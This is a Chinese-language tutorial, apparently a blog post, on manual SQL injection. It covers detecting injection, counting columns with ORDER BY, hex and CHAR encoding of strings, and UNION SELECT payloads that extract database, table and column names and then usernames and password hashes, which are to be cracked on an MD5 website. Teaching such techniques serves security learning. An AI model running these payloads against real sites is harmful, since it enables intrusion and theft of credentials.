一.判断是否存在注入,注入是字符型还是数字型
若是数字型,用+ - * /判断是否存在注入。
Tip:但是这里需要注意的是,在URL中“+”是有特别含义,它表示的是空格。所以在URL中我们需要使用“%2B”来代替“+”。
例:1%2B1
二.猜解SQL查询语句中的字段数
猜测字段数使用order by 来猜测
Payload:
1 order by 1
1 order by 2
1 order by 3
三.确定显示的字段顺序
另:是我们想要使用字符串的话,可以有两种方法。
[1]使用字符串的十六进制来表示,例如admin转化为十六进制,为“61646D696E”
然后我们之后在十六进制前加上0x61646D696E
我们构造的payload像这样即可
select * from users where user = 0x61646D696E;
[2]使用char函数,但这里char函数使用的参数是十进制的ascii数值。比如admin
CHAR(97, 100, 109, 105, 110)
构造的payload像这样即可
select * from users where user = CHAR(97, 100, 109, 105, 110);
四.获取当前数据库
五.获取数据库中的表
六.获取表中的字段名
构造最终的payload
1.获取数据库名:
-1 union select 1,database()
2.获取表名:
-1 union select table_name,2 from information_schema.tables
where table_schema = database()
3.获取users表的列名:
-1 union select column_name,2
from information_schema.columns
where table_schema = database() and table_name = 0x7573657273
扫描二维码关注公众号,回复:
2771901 查看本文章
4.获取数据表内容
-1 union select user,password from users;
七.下载数据
又到去MD5网站破解密码的时候,又是一次验证自己成果的时候。
这里我们选择用户名为1337的用户